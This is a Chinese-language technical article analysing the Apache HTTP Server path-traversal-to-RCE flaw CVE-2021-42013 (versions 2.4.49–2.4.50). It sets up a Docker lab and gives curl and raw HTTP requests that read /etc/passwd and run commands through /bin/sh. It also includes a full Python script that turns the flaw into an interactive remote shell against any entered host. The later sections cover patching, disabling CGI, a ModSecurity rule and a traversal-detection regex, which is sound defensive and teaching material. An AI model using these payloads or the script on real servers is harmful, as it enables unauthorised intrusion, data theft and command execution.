从路径遍历到RCE:Apache CVE-2021-42013漏洞深度剖析与实战复现
当Apache HTTP Server 2.4.50发布时,开发团队可能没想到一个看似简单的路径规范化漏洞会成为攻击者突破系统防线的致命武器。这个编号为CVE-2021-42013的漏洞,通过精心构造的URL编码,不仅能实现目录穿越,更能直接获得远程代码执行(RCE)能力,将Web服务器变成攻击者的跳板。
1. 漏洞背景与技术原理
Apache HTTP Server作为全球使用最广泛的Web服务器软件之一,其安全性直接影响着数百万网站。2021年10月,安全研究人员发现2.4.49版本存在路径遍历漏洞(CVE-2021-41773),攻击者可以利用/.%2e/这样的编码访问Web根目录之外的文件。虽然2.4.50版本试图修复这个问题,但由于修复不彻底,导致更危险的CVE-2021-42013诞生。
漏洞核心原理在于Apache对URL编码的二次解码处理:
- 当请求中包含
%%32%65这类多重编码时,Apache会先将其解码为%2e - 然后再次解码为
.字符 - 最终形成有效的路径遍历序列
/../../
这种编码绕过了最初的补丁检查,使得攻击者能够:
- 读取服务器上的任意文件(如果权限允许)
- 在启用CGI模块时执行任意命令
注意:该漏洞影响范围仅限于Apache 2.4.49和2.4.50版本,且需要
mod_cgi模块启用并配置了ScriptAlias或类似指令。
2. 漏洞复现环境搭建
要深入理解这个漏洞,最好的方式是在受控环境中亲手复现。以下是详细的实验环境配置步骤:
2.1 实验环境准备
# 使用Docker快速搭建漏洞环境 docker run -dit --name apache_cve -p 8080:80 vulhub/apache:2.4.50环境验证:
- 访问
http://localhost:8080/cgi-bin/应返回403 Forbidden - 创建测试CGI脚本:
docker exec -it apache_cve bash -c 'echo -e "#!/bin/sh\necho \"Content-type: text/plain\"; echo; echo \"Hello CGI\"" > /usr/local/apache2/cgi-bin/test.sh' docker exec -it apache_cve chmod +x /usr/local/apache2/cgi-bin/test.sh- 访问
http://localhost:8080/cgi-bin/test.sh应显示"Hello CGI"
2.2 漏洞检测方法
使用curl进行初步检测:
curl -v "http://target/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"如果返回HTTP 200且显示/etc/passwd内容,则存在漏洞。下表总结了不同响应结果的判断:
| 响应状态码 | 可能原因 |
|---|---|
| 200 OK + 文件内容 | 漏洞存在且可读文件 |
| 403 Forbidden | 路径遍历被阻止 |
| 404 Not Found | 文件不存在或CGI未启用 |
| 500 Internal Error | 可能触发但执行失败 |
3. 漏洞利用实战分析
3.1 基础利用:目录遍历
最简单的利用方式是读取服务器上的敏感文件:
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1 Host: vulnerable-server这种请求会尝试读取系统的/etc/passwd文件,验证漏洞是否存在。
3.2 高级利用:远程代码执行
当CGI模块启用时,攻击者可以通过发送特殊构造的请求执行任意命令:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: vulnerable-server User-Agent: Mozilla/5.0 Content-Length: 25 Content-Type: text/plain echo; whoami; id; pwd关键点解析:
%%32%65经过两次解码变为..,实现路径穿越- 请求最终访问
/bin/sh,这是一个合法的CGI解释器 - POST数据中的命令会被shell执行
- 第一个
echo用于满足CGI规范要求的header输出
3.3 自动化利用脚本开发
以下Python脚本实现了自动化漏洞检测与利用:
import requests import urllib.parse def check_vulnerability(target): test_path = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd" try: r = requests.get(f"http://{target}{test_path}", timeout=5) if "root:" in r.text: return True except: pass return False def execute_command(target, command): headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "text/plain" } data = f"echo; {command}" path = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" try: r = requests.post(f"http://{target}{path}", headers=headers, data=data, timeout=10) return r.text.split("\n", 1)[1] # 跳过第一个空行 except Exception as e: return f"Error: {str(e)}" if __name__ == "__main__": target = input("Enter target IP/host: ") if check_vulnerability(target): print("[+] Target is vulnerable!") while True: cmd = input("$ ") if cmd.lower() in ["exit", "quit"]: break print(execute_command(target, cmd)) else: print("[-] Target does not appear vulnerable")脚本功能说明:
check_vulnerability()函数通过尝试读取/etc/passwd验证漏洞execute_command()函数发送精心构造的POST请求执行命令- 交互式shell界面方便持续操作
- 自动处理响应格式,提取命令输出
4. 防御措施与修复方案
4.1 官方修复方案
Apache软件基金会发布了2.4.51版本彻底修复此漏洞。升级是最根本的解决方案:
# Ubuntu/Debian sudo apt update && sudo apt install apache2 # CentOS/RHEL sudo yum update httpd4.2 临时缓解措施
如果无法立即升级,可采取以下措施降低风险:
- 禁用CGI模块:
# 在httpd.conf中注释掉 # LoadModule cgi_module modules/mod_cgi.so- 严格限制目录权限:
<Directory "/usr/local/apache2/cgi-bin"> AllowOverride None Options None Require all denied </Directory>- 使用ModSecurity规则拦截恶意请求:
SecRule REQUEST_URI "@contains %" \ "id:1000,phase:1,deny,msg:'Path Traversal Attempt'"4.3 深度防御策略
除了直接修复漏洞外,还应实施以下安全最佳实践:
- 最小权限原则:Apache进程应以专用低权限用户运行
- 文件系统防护:对Web目录设置严格的访问控制
- 输入验证:对所有用户输入进行严格过滤
- 日志监控:实时监控异常访问日志
5. 漏洞研究进阶方向
对于希望深入理解此类漏洞的安全研究者,建议探索以下方向:
编码变异研究:
- 尝试其他编码组合如
%252e、%c0%ae等 - 测试不同Web服务器对多重编码的处理差异
- 尝试其他编码组合如
漏洞链利用:
- 结合文件读取与信息泄露漏洞获取更多情报
- 尝试从RCE到权限提升的完整攻击链
静态分析工具开发:
# 简单的路径遍历检测正则 import re def detect_traversal(url): patterns = [ r"\.\./", r"%2e%2e/", r"%%32%65", r"%252e%252e" ] for pattern in patterns: if re.search(pattern, url, re.IGNORECASE): return True return False动态模糊测试框架:
- 使用AFL++等工具对Apache进行模糊测试
- 针对URL解析模块设计专门的测试用例
在真实渗透测试中,这类漏洞往往需要结合其他技术如:
- 信息收集确定Apache版本
- 扫描识别启用的CGI脚本
- 绕过WAF的编码技巧
- 权限维持的后门技术